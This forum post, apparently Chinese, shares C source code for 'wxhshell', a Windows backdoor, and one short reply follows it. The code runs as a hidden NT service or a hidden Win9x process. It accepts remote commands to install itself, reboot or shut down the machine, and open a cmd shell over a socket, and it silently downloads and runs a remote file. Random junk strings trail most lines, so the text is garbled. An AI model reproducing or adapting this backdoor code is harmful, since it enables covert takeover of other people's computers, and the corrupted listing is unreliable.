  if(strstr(cmd,"http://")) { aty K^*aX  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'u696ED4  
  if(DownloadFile(cmd,wsh)) +m>Kb edl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); GD< Afni  
  else $L`7(0U-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bWMM[pnL  
  } k?xtZ,n{s  
  else { ~r=TVHjqi  
8q tNK> D  
    switch(cmd[0]) { "Ny_RF  
  a`|/*{  
  // 帮助 1 !\pwd@{  
  case '?': { UdLC]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d,D)>Y'h  
    break; Wg}#{[4  
  } eMh:T@SN  
  // 安装 cwpDad[Kx  
  case 'i': { KCCS7l/  
    if(Install()) D=dY4WwG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $X\BO&  
    else Ke 'bH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C2Y&qX,  
    break; Wm3H6o*  
    } {z.}u5N  
  // 卸载 MuO>O97  
  case 'r': { q2/Vt0aYx  
    if(Uninstall()) SULWPH5Pr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]pB~&0jg  
    else C($`'~b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wbr"z7}  
    break; .3HC*E.e  
    } PfuYT_p4s  
  // 显示 wxhshell 所在路径 0tsll1  
  case 'p': { W}.4$f>  
    char svExeFile[MAX_PATH]; _fa]2I  
    strcpy(svExeFile,"\n\r"); 8-SVgo(  
      strcat(svExeFile,ExeFile); 9)4N2=  
        send(wsh,svExeFile,strlen(svExeFile),0); ;'<K}h  
    break; #lct"8  
    } SH`"o  
  // 重启 <&+l;z  
  case 'b': { Y[x ^59  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :Z< 5iLq  
    if(Boot(REBOOT)) xaeY^"L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nh E!Pk  
    else { \XB71DUF  
    closesocket(wsh); FG8bP  
    ExitThread(0); Bj]0Cz  
    } o[cKh7&+  
    break; -rH3rKtf~  
    } p>!r[v'  
  // 关机 a .] !  
  case 'd': { Z;n}*^U  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B8TI 5mZ4  
    if(Boot(SHUTDOWN)) iK.MC%8?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dt +"E  
    else { g~V{Ca;}  
    closesocket(wsh); CMF1<A4]  
    ExitThread(0); r/{VL3}F_e  
    } )8Q|y  
    break; 2nEj X\BY  
    } !w/~dy  
  // 获取shell 2{#quXN9  
  case 's': { c/x(v=LW  
    CmdShell(wsh); $[|8bE  
    closesocket(wsh); "0/OpT7h7  
    ExitThread(0); n1cAI|ZE  
    break; y'zEaL&SI@  
  } %9zcc)cP  
  // 退出 m' aakq  
  case 'x': { G! 87F/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); I O6i  
    CloseIt(wsh); s*!2oj  
    break; jf$t  
    } > ZNL pJQ  
  // 离开 e3Lf'+G\  
  case 'q': { &Owt:R)9~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5T;_k'qe  
    closesocket(wsh); T+~~w'v0  
    WSACleanup(); tSO F7N/<  
    exit(1); uZQ)A,#n;  
    break; 1-qQp.Wj  
        } mS );bs  
  } hyTi':  
  } p jrA:;  
G A7  
  // 提示信息 VvltVYOZA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Hu'c )|~f  
} Y@r#:BH )  
  } hrXN 38-  
'+}hVfN  
  return; ? `w ~1  
} rzO:9# d  
f|q6<n_nM  
// shell模块句柄 Dn6DkD!  
int CmdShell(SOCKET sock) O&O1O> [p1  
{ h]D=v B  
STARTUPINFO si; :s$9#}hw,  
ZeroMemory(&si,sizeof(si)); \]r{73C  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |MBnRR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (Hn,}(3S  
PROCESS_INFORMATION ProcessInfo; h{h=',o1  
char cmdline[]="cmd"; Cu`ZgK LQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c~tkY!c  
  return 0; 2'x_zMV  
} P, Vq/Tt  
j$L<9(DoR  
// 自身启动模式 xw=B4u'z  
int StartFromService(void) TIvLY5 HG  
{ 6}|vfw  
typedef struct jV7q)\uu^  
{ r[?rwc^  
  DWORD ExitStatus; +0=RC^   
  DWORD PebBaseAddress; *PMql$  
  DWORD AffinityMask; `b] NB^/  
  DWORD BasePriority; oF*Y$OEu?c  
  ULONG UniqueProcessId; PDir?'  
  ULONG InheritedFromUniqueProcessId; / _cOg? o  
}   PROCESS_BASIC_INFORMATION;  Et- .[  
HQE#O4  
PROCNTQSIP NtQueryInformationProcess; ,Tr12#D:  
$ &^ ,(z9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yx}:Sgv%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `V?{  
>Ek `PVPD  
  HANDLE             hProcess; k(7! W  
  PROCESS_BASIC_INFORMATION pbi; gF%ad=xm  
_>aesp%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )pvZM?  
  if(NULL == hInst ) return 0; $GPA6  
j&&^PH9ZY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ct]5\g?U'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7"QcvV@p  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +(P;4ZOmB  
G_o/ lIz"  
  if (!NtQueryInformationProcess) return 0; Onc!5L  
G!Uq#l>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s/T5aJR  
  if(!hProcess) return 0; Dnp^yqz*  
E@@quK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R4v=i)A~Z  
C2b.([HE  
  CloseHandle(hProcess); '@W72ML.  
U}5uy9A  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); JZc5U}i  
if(hProcess==NULL) return 0; 9u)h$VC  
mj,r@@k:=+  
HMODULE hMod; d3![b1  
char procName[255]; |MRxm"]A   
unsigned long cbNeeded; JZ<O-G+  
kPxEGuL'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7v?Ygtv  
P_?1Rwm-45  
  CloseHandle(hProcess); [lnN~#(Y  
T[7DJNdG6  
if(strstr(procName,"services")) return 1; // 以服务启动 Jz-f1mhQV  
J]~3{Mi  
  return 0; // 注册表启动 g =%W"v  
} N2~z&y8.  
I%(+tJ  
// 主模块 3oIoQj+D  
int StartWxhshell(LPSTR lpCmdLine) B02~/9*Y"  
{ "90}H0(+  
  SOCKET wsl; :N[2*.c[  
BOOL val=TRUE; .O,gl$y}  
  int port=0; hrW.TwK  
  struct sockaddr_in door; &3^40s/+  
V}J W@  
  if(wscfg.ws_autoins) Install(); T|}HK]QOX  
.6tz ^4  
port=atoi(lpCmdLine); /!E /9[V  
Uvuvr_IP  
if(port<=0) port=wscfg.ws_port; S\f^y8*<  
JRNyvG>j  
  WSADATA data; SZ0Zi\W  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {<_}[} XY  
I{2e0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \ 0CGS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `\qU.m0(j  
  door.sin_family = AF_INET; ypsCyDQK`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2T|L# #C  
  door.sin_port = htons(port); Fdzd!r1 v  
# ._!.P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @9L%`=]b^  
closesocket(wsl); WL7:22nSHa  
return 1; Jne)?Gt  
} p*N+B o  
!^N/n5eoz  
  if(listen(wsl,2) == INVALID_SOCKET) { sF|lhLi  
closesocket(wsl); F6 UOo.L)I  
return 1; !",@,$  
}  CZuxH  
  Wxhshell(wsl); YGNX+6Lz  
  WSACleanup(); zxj!ihs<  
&,#VhT![  
return 0; {6KU.'#iF  
5i#B?+Y  
} c8yD-U/-  
9sRP8Nj|  
// 以NT服务方式启动 ?,Hk]Rl3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8!T^KMfz  
{ kg-%:;y.  
DWORD   status = 0; *Lufz-[1  
  DWORD   specificError = 0xfffffff; `t8e2?GH  
aTPpE9Pa&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; vCi:c Ip/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; d }]b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k"n#4o:  
  serviceStatus.dwWin32ExitCode     = 0; \t1vYIY]T  
  serviceStatus.dwServiceSpecificExitCode = 0; Ig6s'^  
  serviceStatus.dwCheckPoint       = 0; Ge @d"  
  serviceStatus.dwWaitHint       = 0; U} g%`<  
omY?`(=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D QZS%)  
  if (hServiceStatusHandle==0) return; !<~Ig/  
k4`v(au^  
status = GetLastError(); > Euput\  
  if (status!=NO_ERROR) qNvKlwR9;k  
{ R8?A%yxf  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `&+ L/  
    serviceStatus.dwCheckPoint       = 0; /wK7l-S  
    serviceStatus.dwWaitHint       = 0; hqE#BnQxP,  
    serviceStatus.dwWin32ExitCode     = status; +wio:==  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?Z.YJXoKZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); JlH|=nIaj6  
    return; XM)|v |  
  } ,CvU#ab8$  
5Q^~Z},  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Q647a}  
  serviceStatus.dwCheckPoint       = 0; }x8fXdd  
  serviceStatus.dwWaitHint       = 0; 6Z'zB&hM}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p;'vOb  
} nU`;MW/^w  
H37Z\xS  
// 处理NT服务事件,比如:启动、停止 ?Jma^ S  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $iB(N ZV  
{ o3`Z@-.G  
switch(fdwControl) q!7\`>.2:{  
{ ?/u&U\P  
case SERVICE_CONTROL_STOP: x r=f9?%R  
  serviceStatus.dwWin32ExitCode = 0; ;3-ssF}k*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A+dY~@*a  
  serviceStatus.dwCheckPoint   = 0; )dvOg'it  
  serviceStatus.dwWaitHint     = 0; x~mXtqg  
  { %?cPqRHJ ~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _}\&;  
  } : Z.mM5  
  return; aRV!0?fS  
case SERVICE_CONTROL_PAUSE: |g9^]bT  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]:f1r8<3p  
  break; Z@*Z@]FC  
case SERVICE_CONTROL_CONTINUE: "q%)we  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; j9qN!.~mM  
  break; b/G0EcRw+  
case SERVICE_CONTROL_INTERROGATE: s}A]lY  
  break; ]~oM'?&!  
}; Rp|:$5&nE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wgufk {:  
} y_nh~&  
7X.1QSuE  
// 标准应用程序主函数 ar{e<&Bny  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >Te{a*`"m:  
{ %?g]{  
{7;T Q?/  
// 获取操作系统版本 :DZiDJ@  
OsIsNt=GetOsVer(); 6?Wsg`9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); fY `A  
6v1j*'  
  // 从命令行安装 FX'W%_f,  
  if(strpbrk(lpCmdLine,"iI")) Install(); m760K*:i\  
T&h|sa(   
  // 下载执行文件 'R$~U?i8  
if(wscfg.ws_downexe) { 0q3 :"X  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <ImeZ'L7  
  WinExec(wscfg.ws_filenam,SW_HIDE); n1LS*-@  
} %GIla *  
65}:2l2<  
if(!OsIsNt) {  $SDx) '!  
// 如果时win9x,隐藏进程并且设置为注册表启动 !F%dE!  
HideProc(); gi`ZFq@  
StartWxhshell(lpCmdLine); +I')>6  
} U_J|{*4S.!  
else OO@$jXZB  
  if(StartFromService()) _6|b0*jv'&  
  // 以服务方式启动 Zw3|HV(so  
  StartServiceCtrlDispatcher(DispatchTable); E6US  
else wg[*]_,a  
  // 普通方式启动 dzcPSbbpt  
  StartWxhshell(lpCmdLine); '3xSzsDn  
x^ Wgo`v)  
return 0; ,p2 Di  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五